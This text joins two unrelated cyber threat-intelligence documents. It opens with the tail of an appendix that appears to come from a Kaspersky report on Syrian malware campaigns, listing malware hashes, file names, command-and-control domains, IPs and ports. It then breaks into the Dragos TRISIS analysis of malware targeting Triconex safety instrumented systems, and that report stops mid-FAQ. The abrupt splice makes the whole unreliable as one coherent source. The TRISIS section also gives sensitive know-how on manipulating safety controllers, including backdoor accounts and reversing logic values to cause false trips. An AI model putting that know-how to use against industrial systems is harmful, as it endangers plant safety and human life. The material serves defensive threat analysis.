biz Sent by email, downloads file from gulfup.com file sharing site connects to the Syrian IP gets 62b1b 05cb3c7bb6727541efb79b23442 as Application1.exe from the file sharing site through direct link 9 June 2014 da98248ab1e4a287ac46023eacd08f5b 31.9.48.141 port 5552 image.scr 9 June 2014 7ba45daccca21db2e353b9144b29f2e8 31.9.48.164 port 1122 MSRSAAP.EXE April and May 2014 ab75661f837537c4efb20ba6e99f23de tn4.mooo.com (31.9.48.11) port  83 f2.exe MSRSAAP.EXE 1.exe ebb2acc6e6ff596dea4f034e6e941eea ed9b62e17543b948da81c75ad4db88ad 1b1bdfdd0c5218354d7c979afbbf4a76 0d2f0807233cff088cf69f553553c3bc 430c8f11ce5a77e154ebcd0d7eb1501d 6ec76cfd10c6ee8e3d8fd81e445abb7b tn5.linkpc.net (31.9.48.11) resolving in the ed9 sample to 188.139.228.179 (Syria mobile telecom GPRS) and 178.52.194.35 (old IP) 41 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com File information First reported Main file MD5 Special info f3.exe f2.exe 1.exe Kimawi.exe 13 May 2014 b4eb0cb0fae200d09e6744f0ede10810 1b1bdfdd0c5218354d7c979afbbf4a76 0d2f0807233cff088cf69f553553c3bc 38e3bc8776915dbd2e55a4d90f85a872 tn5.linkpc.net (31.9.48.11) yamen.exe May 2014 288a4ee20880be85af60b1bad4d1d4d7 31.9.48.141 by modifying hosts file, no dns resolution system32.exe Oct 2013 to Jan 2014 08947709640922b2d8e3b8d0e5b8e84e 21ec25f685843ec03fdba24837fc61e4 fernando85.no-ip.biz 31.9.48.147 Oct 2013 a7caf08fba073ac3e92d1faea340cb59 meroassad.no-ip.biz 31.9.48.147 Explorer.exe 13.exe Mar to Jun 2014 e1f2b15ec9f9a282065c931ec32a44b0 31.9.48.141 port 1960 server.exe Jan 2014 c85480f1e4731f98e28dc007056615a4 31.9.48.141 port 1990 Sent by email 5 Jan 2014 cd97b9b7494470274e7df66059348d6d 54c178ba89d752be2ae3307fd40db45f 93195146c13ba6fd75b3c0062e3abf05 f387eb11a402c9abb8700604906c00d6 a57f6c06ba7ca5758f1ca48eaa0a9cc5 93195146c13ba6fd75b3c0062e3abf05 31.9.48.141 port 1177 Dec 2013 b8e7f3b4cbe8e58b0509fc7fde71ddbf 31.9.48.141 port 1920 Feb 2014 387a285597d3ac51637f6ecc07ba0d5b ahmdddd.no-ip.biz 31.9.48.141 port 5552 E.exe Jan 2014 faebf06b7113f47ec2f3089879d765b4 31.9.48.7 port  81 ashdgasd.exe Jan to Mar 2014 3eeb1677da86e97a12205ff237a3df7d ab5bf9780d365c648fe39e70dc317ca5 31.9.48.7 port 1880 E.exe PDB Path: C:\Users\Syrian Malware\ Desktop\my rat\server\E\obj\ Debug\E.pdb YaAli.exe Mar 2014 402d806f1b61753bba0ea9bc7a8f76c2 31.9.48.7 port 1520 42 TLP: Green For any inquire please contact intelreportskaspersky.com File information First reported Main file MD5 Special info exe.
doduu.exe rsha.exe juydghj.exe Jan to Nov 2013 217fe391d46cfd84653e36bc05a32f44 fd42186ffe642d10ea03d5cbec0cb3a0 f8f868b750a24f1a5be6083e80b06f30 ec165a9be618283b6f37646761002f32 ea4542ef5fa6a2682b8c00f97c88ed70 deb4c47abfc873f163693e2cfc9c7800 shadye.zapto.org 178.52.223.166:1177 sent by email freedom.exe fff.exe fun.exe lu04mtrd.exe Aug 2013 to Jan 2014 a91cf2847fa49fa5422244f85af0d3c5 af77e56fbf9259c5242adb964d0773a5 8918b499ef2015f6988e806da0df8f12 4851de5e6d72f428c4e557b91417c1b4 a91cf2847fa49fa5422244f85af0d3c5 ab3da3252b698b3c7903a824b11418ed hacker1987.zapto.org 178.52.158.22 port 1177 46.213.188.88 port 1177 94.252.216.187 port 1177 193.227.183.171 port 1604 178.52.158.22 port 1177 178.52.203 port 80 bjwytowe.packed blob Sept 2013 to May 2014 6c3e84a601b48eefc716936aee7c8374 f9acce2596443c80254a016f426b1c41 shaaa1983.zapto.org 46.53.11.244 port 1177 46.213.210.210 port 1063 to 1077 sexy.pif Oct 2013 ce47d484447dff1036e2100883320431 52c3674e584ea31aef53b7dc4b2a33c5 beespy.no-ip.org 178.52.0.233 178.52.30.28 port 81 46.57.188.15 Other suspicious files rar (imp the islamic.- army) exe (military locations).
exe.
.
syrian rat.exe Aug 2013 to Jan 2014 978ad00b35e8ea6f280cd375778884d3 a3493689114f75a61a8102d875001429 946ab0068e5ab64c3c19fb171f55b31a before: 69133513990f6e186cded6745cfade2f after: 846983dc879f12e9dd0500434769856f bb5d66b921a4499c23a339ba2690650f 0e8e1d9bd9d7ae36cda747d6fdd284a3 216.6.0.28 and others PDB Path: C:\Users\LOVE SYRIA\ Desktop\Syria.pdb Nov 2013 31aeb34a57ae6b79ffa3d962316f3ec8 43 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com Appendix 2: CC Domains The following is a list of domains and corresponding IP addresses used in the attacks.
CC Domain CC IP addresses used Location Notes thejoe.publicvm.com 31.9.48.119 31.9.48.146 Syrian Telecommunications Establishment, TARASSUL ISP thejoe.publicvm.com 31.8.48.7 31.8.48.7 is DSL for OJSC Bashinformsvyaz ISP in Russia, Bashkortostan, Beloretsk hacker1987.zapto.org 178.52.158.22 46.213.188.88 94.252.216.187 178.52.158.22 178.52.203.80 Syriatel Mobile Telecom Syriatel 3G hacker1987.zapto.org 193.227.183.171 IP address in Lebanon (IDM Inconet Data Management), indicating the mobility of the group members, not only within Syria, but also to nearby countries alosh66.linkpc.net 81.9.48.11 Russian Federation VimpelCom PPPOE (Wireless broadband) abalse.no-ip.biz 95.212.148.233 Syrian Telecommunications Establishment aliallosh.sytes.net 69.65.5.104 (USA) 65.49.68.142 (USA) 69.65.5.104 65.49.68.142 (proxy IP) aliallosh.sytes.net 46.57.213.64 Syrian Telecommunications Establishment vip.all4syrian.com 31.9.48.11 Syrian Telecommunications Establishment hhhhhkrufnrrrs1982.zapto.org 95.212.148.21 95.212.148.74 Syrian Telecommunications Establishment basharalassad1.no-ip.biz 31.9.48.147 31.9.48.84 Syrian Telecommunications Establishment tn4.mooo.com 31.9.48.11 Syrian Telecommunications Establishment tn5.linkpc.net 31.9.48.11 188.139.228.179 178.52.194.35 Syrian Telecommunications Establishment 44 TLP: Green For any inquire please contact intelreportskaspersky.com CC Domain CC IP addresses used Location Notes xtr.all4syrian.com 31.9.48.11 82.137.200.48 from 2012 Syrian Telecommunications Establishment xtr.all4syrian.com 200.17.216.14 IP is at UFPR Universidade Federal do Paran, Brazil.
Suspected to be SSH VPN tn1.linkpc.net 2014: 178.52.108.207 178.52.166.61 2013: 178.52.254.161 31.9.48.11 31.9.48.1 46.213.100.97 46.213.123.97 94.252.217.145 2012: 178.52.165.92 Syrian Telecommunications Establishment tn2.linkpc.net 46.213.235.105 Syriatel Mobile Telecom fernando85.no-ip.biz 31.9.48.147 Syrian Telecommunications Establishment meroassad.no-ip.biz 31.9.48.147 Syrian Telecommunications Establishment shadye.zapto.org 178.52.223.166 Syrian Telecommunications Establishment ahmdddd.no-ip.biz 31.9.48.141 Syrian Telecommunications Establishment beespy.no-ip.org 178.52.0.233 178.52.30.28 46.57.188.15 Syrian Telecommunications Establishment nowarsytia.no-ip.org hacars11.no-ip.biz N/A N/A mail server used to send spam, dictionnary attacks were also launched from this IP 216.6.0.28 216.6.0.28 is AS6453 AS6453 - TATA COMMUNICATIONS (AMERICA) INC,US (registered Apr 18, 1996), Damascus, Syrian Arab Republic, reassigned to STE Other (No Domain) 31.9.48.141 31.8.48.7 31.9.48.164 31.9.48.84 Syrian Telecommunications Establishment 31.8.48.7 is OJSC Bashinformsvyaz ISP in Russia
Dragos Inc. www.dragos.com version 1.20171213 TRISIS Malware Analysis of Safety System Targeted Malware 2 TLP: WHITE information may be distributed without restriction Executive Summary In mid-November 2017, the Dragos, Inc. team discovered ICS-tailored malware deployed against at least one victim in the Middle East.
The team identifies this malware as TRISIS because it targets Schneider Elec- trics Triconex safety instrumented system (SIS) enabling the replacement of logic in final control elements.
TRISIS is highly targeted and likely does not pose an immediate threat to other Schneider Electric custom- ers, let alone other SIS products.
Importantly, the malware leverages no inherent vulnerability in Schneider Electric products.
However, this capability, methodology, and tradecraft in this very specific event may now be replicated by other adversaries and thus represents an addition to industrial asset owner and opera- tors threat models.
Why Are We Publishing This?
The Dragos team notified our ICS WorldView customers immediately after validating the malicious nature of the software.
Following that notification, the team sent a notification to the U.S. Department of Home- land Security, Department of Energy, Electric Sector Information Sharing Analysis Center (E-ISAC), and part- ners.
We broadcasted to our customers and partners that we would not be releasing a public report until the information became public through other channels.
It is Dragos approach around industrial threats to never be the first to identify new threats publicly infrastructure security is a highly sensitive matter and the more time the infrastructure community has to address new challenges without increased public attention is ideal.
Dragos focus is on keeping customers informed and ideally keeping sensitive information out of the public where the narrative can be quickly lost and sensationalized.
However, once information about threats or new capabilities are made public, it is Dragos approach to follow-up with public reports that capture the nuance to avoid hype while reinforcing lessons learned and advice to the industry.
TLP: WHITE information may be distributed without restriction 3 Key Take-Aways The malware targets Schneider Electrics Triconex safety instrumented system (SIS) thus the name choice of TRISIS for the malware.
TRISIS has been deployed against at least one victim.
The victim identified so far is in the Middle East, and currently, there is no intelligence to support that there are victims outside of the Middle East.
The Triconex line of safety systems are leveraged in numerous industries - however, each SIS is unique and to understand process implications would require specific knowledge of the process.
This means that this is not a highly scalable attack that could be easily deployed across numerous victims without significant additional work.
The Triconex SIS Controller was configured with the physical keyswitch in program mode during op- eration.
If the controller is placed in Run mode (program changes not permitted), arbitrary changes in logic are not possible substantially reducing the likelihood of manipulation.
Although the attack is not highly scalable, the tradecraft displayed is now available as a blueprint to other adversaries looking to target SIS and represents an escalation in the type of attacks seen to date as it is specifically designed to target the safety function of the process.
Compromising the security of an SIS does not necessarily compromise the safety of the system.
Safety engineering is a highly specific skill set and adheres to numerous standards and approaches to ensure that a process has a specific safety level.
As long as the SIS performs its safety function the compro- mising of its security does not represent a danger as long as it fails safe.
It is not currently known what exactly the safety implications of TRISIS would be.
Logic changes on the final control element implies that there could be risk to the safety as set points could be changed for when the safety system would or would not take control of the process in an unsafe condition TLP: WHITE information may be distributed without restriction 4 SIS Background Safety systems are those control systems, often identified as Safety Instrumented Systems (SIS), maintain- ing safe conditions if other failures occur.
It is not currently known what the specific safety implications of TRISIS would be in a production environment.
However, alterations to logic on the final control element imply that there could be a risk to operational safety.
Set points on the remainder of the process control system could be changed to conditions that would result in the process shifting to an unsafe condition.
While TRISIS appears to be focused, ICS owners and operators should view this event as an expansion of ICS asset targeting to previously-untargeted SIS equipment.
Although many aspects of TRISIS are unique for the environment and technology targeted, the general methodology provides an example for ICS de- fenders to utilize when future, subsequent SIS-targeted operations emerge.
Safety controllers are designed to provide robust safety for critical processes.
Typically, safety controllers are deployed to provide life-saving stopping logic.
These may include mechanisms to stop rotating machin- ery when a dangerous condition is detected, or stop inflow or heating of gasses when a dangerous tem- perature, pressure, or other potentially life-threatening condition exists.
Safety controllers operate inde- pendently of normal process control logic systems and are focused on detecting and preventing dangerous physical events.
Safety controllers are most often connected to actuators which will make it impossible for normal process control systems to continue operating.
This is by design since the normal process control systems continued operation would feed into the life-threatening situation that has been detected.
Safety controllers are generally a type of programmable logic controller (PLC).
They allow engineers to con- figure logic, typically in IEC-61131 logic.
While on their face they are similar to PLCs, safety controllers have a higher standard of design, construction, and deployment.
They are designed to be more accurate and less prone to failure.
Both the hardware and the software for these controllers must be designed and built to the Safety Integrity Level (SIL) blanket of standards (IEC-61508).
This includes the use of error correcting memories and redundant components and design that favors failing an operation safety over continuing operations.
Each SIS is deployed for specific process requirements after a process hazard analysis (PHA) identifies the needs for a specific industrial environment.
In this way, the systems are unique in their im- plementation even when the vendor technology remains the same.
Safety controller components have more flexibility than a typical PLC.
A safety controllers output cards will usually have a firmware, and a configuration, which allows the output card to fail into a safe state should the main processors fail entirely.
This may even include failing outputs to a known-safe state in the event that the safety controller loses power.
Many safety controllers offer redundancy, in the form of redundant processor modules.
In the case of the Triconex system, the controller utilizes three separate processor modules.
The modules all run the same logic, and each module is given a vote on the output of its logic function blocks on each cycle.
If one of the modules offers a different set of outputs from the other two, that module is considered faulted and is au- tomatically removed from service.
This prevents a module that is experiencing an issue such as an internal transient or bit-flip from causing an improper safety decision.
TLP: WHITE information may be distributed without restriction 5 Safety controller architecture has been debated in the industry.
Many end users opt to use the same con- trol LAN for both systems.
LOGIIC (Linking the Oil and Gas Industry to Improve Cybersecurity) has identi- fied1 three distinct integration strategies of SIS with control systems networks.
In the case of attacks such as TRISIS, these architectures can be reduced to two, as the security implications of two identified archi- tectures remain the same.
End users decide the level of risk that they are willing to accept with their safety system, and use this to determine how tightly they couple their safety system with their DCS (Distributed Control System).
A tightly-coupled architecture, shown in figure 1, can provide cost savings, since data from an SIS controller may be incorporated into general operator HMI systems.
In addition, network wiring and support is shared between the systems.
Sensors data may also be shared, in both directions, between the normal process controllers and the SIS controllers.
However, a downside to such an architecture is that attacker who gains access to the Control LAN systems may attack the SIS directly.
Figure 1: Typical (Insecure) SIS integration 1 Cyber Security Implications of SIS Integration with Control Networks https://www.automationfederation.org/filestore/af/logiic/LOGIIC20SIS20REPORT20for20ISA20August202520 201120mod20jan202013.pdf Historian/ Data Replication Patch ManagementRDP Jump Box/ Remote Station RDP Jump Box/ Remote Station Historian OPC Server Domain Controller L2 Process LAN DCS HMI/ Operator Terminal DCS EWS/ Engineering Station DCS EWS/ Remote Station DCS OPC/ Application Server SIS EWS/ Safety Eng Station DCS Controller Actuators  Sensors Actuators  Sensors SIS Controller DMZ LAN L3 Process LAN TLP: WHITE information may be distributed without restriction 6 This architecture can be especially dangerous when combined with engineering remote access.
A common practice at many sites is to allow access to the process control network to engineers via the Remote Desk- top Protocol.
The engineer will most frequently use their corporate workstation to access an RDP jump box inside of the process control DMZ.
From there, the engineering may RDP to either the L3 or L2 process LAN.
Compromise of this process, either through an infected corporate workstation or theft of the engineers credentials, can give an attacker access to the L2 engineering systems.
In the case of a tightly integrated DCS and SIS, the attacker then has access to all services of the SIS, including the programming service.
The attacker may also be able to gain access to the SIS Engineering Station and gain a better understanding of how the SIS is programmed.
Figure 2: Architecture with application-layer Read-Only firewall between L2 and SIS LAN Historian/ Data Replication Patch ManagementRDP Jump Box/ Remote Station RDP Jump Box/ Remote Station Historian OPC Server Domain Controller L2 Process LAN DCS HMI/ Operator Terminal DCS EWS/ Engineering Station DCS EWS/ Remote Station DCS OPC/ Application Server SIS EWS/ Safety Eng Station DCS Controller Actuators  Sensors Actuators  Sensors SIS Controller DMZ LAN L3 Process LAN TLP: WHITE information may be distributed without restriction 7 Alternate architectures have been suggested.
Many security-conscious asset owners will instrument their SIS Controller with a read-only application-layer firewall as shown in figure 2.
These firewalls typically sup- port protocols such as Modbus/TCP or OPC and are specifically designed to prevent the assertion of safety outputs from the process LAN.
These firewalls will also prevent access to the proprietary configuration services of the SIS, closing that avenue of attack.
Placing both the SIS Engineering Workstation (EWS) and SIS Controllers on the secure side of this firewall will prevent easy access to the SIS programming proto- cols.
In this architecture, an attacker who gains access to the L2 LAN will not be able to impact the safety system, unless the attacker also identifies a weakness in the firewall protecting the SIS from the rest of the L2 Process LAN.
A downside of this architecture is that an engineer will need to physically access the SIS workstation to make changes to the safety programming.
However, SIS programming changes should be much less frequent than normal DCS updates.
Other methods use data diodes or completely separate safety networks which provide data to the DCS via a DC Controller add-on card.
These mechanisms further increase security, although in the case of a com- pletely separate safety network, prevent end users from using potentially valuable safety sensor data for ordinary process control.
A potential attack on SIS can have multiple implications.
Two that immediately come to mind and represent most-likely targets include the following scenarios: Attack Scenario 1: Plant Shutdown The most likely and operationally easy impact scenario from SIS manipulation or attack is a plant shut- down  and not necessarily due to follow-on physical damage as the result of SIS alteration.
There are two general methods of achieving an operational mission kill without physically impacting any element of the target environment: 1.
Create operational uncertainty.
By altering an SIS where some noticeable effect is produced, even if only recognizing a configuration change or tripping a safety fault where no corresponding phys- ical condition is observed, doubt is introduced into operations as to safety system accuracy and reliability.
While the problem is investigated and troubleshooting takes place, operations will like- ly be significantly reduced if not outright stopped.
2.
Trip safety fail-safes to halt operations.
Changing underlying logic to enter safety-preserving conditions during normal operations can trip SIS-managed equipment to enter fail-safe modes when such conditions are not actually present.
This will lead to a likely halt or stop to the affected process, and likely bring about a much longer shutdown as this scenario rapidly transitions to the item outlined in no.
1 above due to extensive troubleshooting.
Some level of general and plant-specific knowledge is required in order to execute this attack, but the level of knowledge is not as extensive as more fine-toothed, subtle changes to SIS configuration.
Simply intro- ducing any noticeable change in the system  which may, through unintended follow-on effects, result in a much more serious issue  results at least in case 1.
A slightly more refined approach focusing on spe- cific logic and devices managed can be used to create case 2.
Alternatively, an adversary can attempt to leverage insecure authentication to pull existing configuration information from the SIS and simply reverse values to cause safety faults where none exist.
8 TLP: WHITE information may be distributed without restriction Attack Scenario 2: Unsafe Physical State Likely the most obvious and assumed attack scenario is creating an unsafe physical condition within the target environment resulting in physical damage to the environment.
While this may be the most obvious conceptual attack, the requirements for actually executing make this scenario significantly more difficult and thus less likely in reality  than scenario 1.
Ensuring an SIS alteration results in physical damage or destruction requires knowledge of the underlying physical processes and controls managed by the targeted SIS.
More specifically, knowledge of specific pro- cess points where removing a logical fail-safe at the SIS will result in an uncontrolled, damaging physical state  with no complementary physical safety fail-safe in place to prevent damage.
The amount of knowl- edge required specific to the SIS and process installation targeted is significant, and likely not possible to obtain through purely network espionage means.
If even possible, the amount of time, effort, and resourc- es required to: obtain necessary environment information develop and design software tailored to the target environment and finally, to maintain access and avoid detection throughout these steps all require a lengthy, highly skilled intrusion.
While the above is certainly not impossible  in many ways, it is analogous to the efforts required to launch CRASHOVERRIDE  the combined requirements make this a less-likely scenario attainable only by high- ly-skilled, well-resourced adversaries with lengthy timelines.
Typical operations safety layering, where SIS forms only part (albeit a large one) in overall safety management, should work to mitigate the worst-case damage a destruction scenario in most instances.
TLP: WHITE information may be distributed without restriction 9 SIS Defense Status In theory, SIS equipment is isolated from other operations within the ICS environment, and network con- nectivity is either extremely limited or non-existent.
In practice, operational and convenience concerns of- ten result in more connectivity with other ICS devices than ideal, or that ICS operators may even be aware of.
An operator may choose to connect a safety controller to their wider plant network in order to retrieve data from the controller to facilitate business intelligence and process control information gathering.
This carries the risk that the safety controller may be affected by malicious network activity, or accessible to an intruder that has penetrated the ICS network.
Safety controllers generally have the same security profile as a standard PLC.
Controller projects offer password protection however, projects typically contain two backdoor accounts by default that the user has no control over.
While suboptimal from a security perspective, such accounts are vital to ensure ad- ministrator-level access and control over the device in an emergency situation.
A reverse engineer with moderate skill may uncover these accounts and use them to gain unauthorized access to the project and to the safety controller.
While common to many SIS devices, the newer versions of Schneider Electrics Triconex units are not sus- ceptible to this attack.
The older controller (which was deployed at the victim site) is protected by following the deployment recommendations, listed below, to prevent arbitrary changes in SIS functionality via a physical control.
Newer model controllers removed the backdoor accounts entirely and added X.509 mu- tual authentication to the controllers.
Examining SIS devices generally, backdoor accounts cannot typically be disabled due to the operational need for the reasons outlined above.
SIS network isolation is critical in preventing abuse of this feature in vulnerable devices it is appropriate to monitor connections to such systems more so than blocking activity without an understanding of the impact.
TRISIS Capabilities TRISIS is a Stage 2 ICS Attack capability, as defined by the ICS Cyber Kill Chain as shown in figure 3.
Given its design and assessed use, TRISIS has no role or applicability to IT environments and is a focused ICS effects tool.
As a result, TRISIS use and deployment requires that an adversary has already achieved success in Stage 1 of the ICS Cyber Kill Chain and either compromised the business IT network or has identified an alternative means of accessing the ICS network.
Once in position, the adversary can deploy TRISIS on its target: an SIS device.
TLP: WHITE information may be distributed without restriction 10 Figure 3: ICS Cyber Kill-Chain STAGE 01Reconnaissance STAGE 01Weaponization STAGE 01Targeting STAGE 01Delivery STAGE 01Exploit STAGE 01Install / Modify STAGE 01 C2 STAGE 01Act STAGE 02 Develop STAGE 02 Test STAGE 02 Deliver STAGE 02 Install / Modify STAGE 02 Execute ICS Attack STAGE 1 STAGE 2 11 TLP: WHITE information may be distributed without restriction TRISIS is a compiled Python script using the publicly-available py2exe compiler.
This allows TRISIS to ex- ecute in an environment without Python installed natively, which would be the case in most ICS environ- ments and especially in SIS equipment.
The script aims to change the underlying logic on a target SIS  in this case, a Schneider Electric Triconex device.
Subsequent code analysis indicated the script is designed to target Triconex 3008 processor modules specifically.
The executable takes its target as a command-line argument passed to it on execution.
The implications of this are specifically in targeting at run-time, unless called through an additional script, and based on a review of the code, limiting TRISIS to impacting a single target per execution.
The core logic alteration functionality works through a combination of four binaries that are uploaded to the target SIS: Two embedded binary payloads within the compiled Python script.
Two additional, external binaries that are specifically referenced by name within the script but located in separate files.
Dragos analysis indicates that the embedded items are used to prepare and load the external modules, which contain the replacement logic.
As part of a general attack flow, an adversary would need to take the following steps to deploy and execute TRISIS as shown in figure 4 on the next page.
TLP: WHITE information may be distributed without restriction 12 Completion of Stage 1 of the ICS Cyber Kill Chain: Identify and gain access to a system able to commu- nicate with target SIS.
Stage 2 Develop: Identify target SIS type and develop TRISIS with re- placement logic and loader Stage 2 Test: Ensure TRISIS works as intended, likely off network in the adversary environment Stage 2 Deliver: Transfer TRISIS to the SIS which contains the loader module for the new logic and support binaries that provide the new logic Stage 2 Install/Modify: Upon running the TRISIS executable, disguised as Triconex software for analyzing SIS logs, the mali- cious software utilizes the embedded binary files to identify the appropriate location in memory on the controller for logic replacement and uploads the ini- tializing code (4-byte sequence) Stage 2 Execute ICS Attack: TRISIS verifies the success of the previous step and then uploads new ladder logic to SIS Figure 4: TRISIS Attack Flow Stage 1 of the ICS Cyber Kill Chain Completed TRISIS Step 1: Verify Communications to SISStep 1: Verify Communications to SIS Step 1: Verify Communications to SIS Step 2: Identify Memory Location for Logic Upload Step 1: Verify Communications to SIS Step 1: Verify Communications to SISStep 4: Upload New Ladder Logic to SIS Step 3: Copy Start Code for Logic Replacement and Verify TLP: WHITE information may be distributed without restriction 13 Based on the description above, TRISIS itself represents a facilitating capability or framework for the actual ladder logic change that has the potential, as outlined in the scenarios above, to alter the environment.
As such, TRISIS itself could be repurposed to deliver alternative payloads to either deliver different logic files (the external binaries uploaded by TRISIS to the target SIS) or to utilize differently embedded binaries to target different SIS types entirely.
While both are quite plausible, the work involved would be significant and represents the largest amount of effort and required resources for TRISIS efficacy: ensuring that the embedded binaries identify the correct portion of SIS memory for replacement ladder logic upload, and then developing appropriate ladder logic for the target system.
Neither of these is trivial, and make scaling or spreading this attack to other environments  and potentially the same Triconex devices but in different installations  extremely difficult.
Dragos was not provided with the external binaries used in the TRISIS attack, and we are therefore unable to determine what precise impact would result on the victim SIS.
Nonetheless, any modification to SIS in an operational environment represents a significant risk and potential for damage or even loss of life.
The precise attack path is also unknown at this time, but based upon available information and functionality of TRISIS, the target SIS must be network accessible from a device the adversary was able to compromise and establish reasonably persistent command and control over.
As a result, TRISIS activity  from initial instal- lation through periodic control followed by ultimate payload delivery  represents multiple steps across Stages 1 and 2 of the ICS Cyber Kill Chain.
While TRISIS as a Python program allows for some level of flexibility in that different modules could be ref- erenced or included to provide different effects, as an attack vector such alterations are difficult to execute in practice for the reasons outlined above.
As such, TRISIS is a very focused, target-specific malware that would not be capable of delivering equivalent effects in another environment without significant modifi- cation.
An additional point to emphasize is that no real vulnerability or exploit is utilized by TRISIS.
Rather, TRISIS functionality depends upon understanding how Triconex SIS devices function and specifics about the pro- cess environment.
With a full understanding of these items, the adversary then must design and deploy ladder logic to create the desired impact on the target SIS.
TLP: WHITE information may be distributed without restriction 14 Implications TRISIS represents, in several ways, game-changing impact for the defense of ICS networks.
While previ- ously identified in theoretical attack scenarios, targeting SIS equipment specifically represents a danger- ous evolution within ICS computer network attacks.
Potential impacts include equipment damage, system downtime, and potentially loss of life.
Given these implications, it is important to ensure nuance in how the industry responds and communicates about this attack.
First, adversaries are becoming bolder, and an attack on an SIS is a considerable step forward in causing harm.
This requires the industry to continue its focus on reliability and safety by pursuing appropriate and measured steps towards securing industrial processes.
Information technology security best practices are not necessarily appropriate to such situations and an ICS, and a mission-focused approach must be taken into consideration of secondary effects.
Second, the attack of an SIS cannot be taken lightly but should not be met with hype and fear.
Eventually, information about this attack will leak to the media and public community.
At that point, those in the in- dustrial security community can have a nuanced conversation noting that this attack is not a highly scalable attack that has immediate repercussions to the community.
Or simply stated, the public nor government should invoke fear.
The industrial asset owner, operator, and vendor community have had a significant dedication to safety and reliability, and now it is obvious that the community is taking steps forward in se- curity.
Dragos cautions the community not to use this attack to further other causes as the impact of hype can be far-reaching and crippling.
TRISIS is a learning moment to push for more security but in a proper and measured way.
Third, this attack does have implications for all industrial asset owners and operators that leverage SIS.
The fact that Schneider Electrics Triconex was targeted should have no bearing on how defenders respond to this case.
This was a clear attack on the community.
There can be no victim blaming or product shaming that is reasonable nor will it make the community better.
The implication is that adversaries are targeting SIS and defenders must live in this reality presented adapting as appropriate to ensure safety and reliability of the operations our society depend upon.
TLP: WHITE information may be distributed without restriction 15 Defending Against TRISIS SIS system implementation should begin with relevant vendor recommendations.
The recommendations surrounding methods on network isolation are especially critical to preserving SIS autonomy.
In the case of TRISIS, Schneider Electric has provided the following recommendations for Triconex Controllers Safety systems should always be deployed on isolated networks.
Physical controls should be in place so that no unauthorized person would have access to the safety controllers, peripheral safety equipment, or the safety network.
All controllers should reside in locked cabinets and never be left in the Program mode.
All Tristation terminals (Triconex programming software) should be kept in locked cabinets and should never be connected to any network other than the safety network.
All methods of mobile data exchange with the isolated safety network such as CDs, USB drives, etc.
should be scanned before use in the Tristation terminals or any node connected to this net- work.
Laptops that have connected to any other network besides the safety network should never be allowed to connect to the safety network without proper sanitation.
Proper sanitation includes checking for changes to the system not simply running anti-virus software against it (in the case of TRISIS no major anti-virus vendor detected it at the time of its use).
Operator stations should be configured to display an alarm whenever the Tricon key switch is in the Program Mode.
It is important to understand that TRISIS represents only the second stage of the ICS Cyber Kill Chain.
This report does not infer or suggest what stage 1 of the attack may be and instead focuses on what has been confirmed through capability analysis.
This puts defenders in the position of not stopping activities prior to impact but during or after the SIS impact.
Keep in mind there is a wide range of defenses to detect and stop the attacker prior to exposing human safety and equipment during stage 1 and earlier stage 2 phases.
TLP: WHITE information may be distributed without restriction 16 Stage 2 ICS Attack: Delivery TRISIS requires being executed from a host that can directly communicate with the SIS controller(s).
In figure 1 cited above any host on L2: Process LAN can serve this purpose.
This allows more options for the attacker and greater scope of what needs to be defended.
Delivery of TRISIS to any one of these hosts may be accomplished through network transfer or USB/media transfer.
Strong architecture can deter, delay or detect adversarial actions as they deliver TRISIS from an- other network to a host that can communicate to the SIS environment.
This is traditional network concepts of segmentation through firewalls, dual factor authentication of interactive access, etc.
Once architectural foundations are in place, both active and passive defenses are needed.
Au- tomated log collection, passive network collection provides the basis of information needed for forensic analysis after an event while strong tailoring of firewalls may limit/prevent delivery or minimally serve as a triggering event for defenses to investigate and respond.
Stage 2 ICS Attack: Install/Modification Once TRISIS resides on a host that has direct access, it is now in a dormant state until either the attacker or unwitting user executes the binary.
Once the TRISIS package is on the host, there are several options for the defenders to stop or detect it proactively.
If the network architecture were already revised to limit what hosts can communicate to the SIS, then the number of hosts that can successfully run TRISIS against SIS has already been reduced.
Again, this limits the attackers options while allowing more focused security controls.
Strong mechanisms to limit removable media can be considered- both technical (USB whitelisting or out- right disabling of USB ports) or administrative (enforcing scanning of a USB drive prior to usage in production equipment) are valuable.
Strong filesystem permissions or execution whitelisting technology become much easier to implement for engineering workstations or hosts that have access to communicate with SIS.
Reliance on traditional signature-based detection (antivirus) is not sufficient.
At the time of dis- covery, TRISIS was undetected by all antivirus engines.
Instead, a more proactive approach is required.
For instance, Worldview customers were provided Yara signatures to identify TRISIS.
Those signatures also detect any binary compiled with py2exe as any such tool within an ICS or SIS environment is an outlier and immediately suspect.
Additional proactive baselining can also occur.
Hosts such as engineering workstations are often not well managed.
They generally are not part of Active Directory and have the option of running a wide range of agents.
However, baselining of known files, applications, services, USB insertions, and user accounts can find deviations that could detect TRISIS files on the system.
This can offer assurances of the limited number of hosts that can communicate to the SIS.
TLP: WHITE information may be distributed without restriction 17 Stage 2 ICS Attack: Execute The execution of the TRISIS attack can be broken down into two components: the launch of the process on the host and the network communications from the compromised host to the SIS controller(s).
Architecturally limiting the TRISIS executable to run on the host via execution and/or hampering its ability to communicate to the controllers via windows host firewall would stop any impact.
Additionally, proactive detection  such as identifying when a host is communicating with an SIS controller can serve as an alarm.
Even with strong architectures, misconfigurations occur that may allow a host that shouldnt have access to an SIS to communicate to it.
Such alarms, even if they fail to stop an attack, are vital to understanding and isolating the cause of the attack.
SIS environments can be some of the most defensible systems.
They are largely simplistic and static- usu- ally the most static of any ICS environment.
However, good architecture, passive defenses, and active de- fenses are key to understand when an attack is in progress and how to repel when the attackers use novel techniques.
There is no such thing as an undetectable or unpreventable cyber attack, and as defenders, it should be a priority to secure and monitor the safety systems responsible for protecting human life, the environment, and the physical processes.
Dragos applies expert human intelligence and behavioral analytics to redefne industrial control system (ICS) cyber- security.
Its industry-first, ICS/OT cybersecurity ecosystem provides control systems operators with unprecedented situational awareness over their environments, with comprehensive threat intelligence, detection, and response capabilities.
Dragos solutions include the Dragos Platform, providing ICS/OT-specifc threat detection and response Dragos Threat Operations Center, providing ICS compromise assessment, threat hunting, and incident response services and Dragos WorldView, providing global, ICS-specifc threat intelligence.
Headquartered in metropolitan Washington DC, Dragos team of ICS cybersecurity experts are practitioners whove lived the problems the industry faces hailing from across the U.S. Intelligence Community to private sector industrial companies.
TLP: WHITE information may be distributed without restriction 18 FAQ Who Did It?
Achieving a level of confidence on attribution is not as difficult as often positioned.
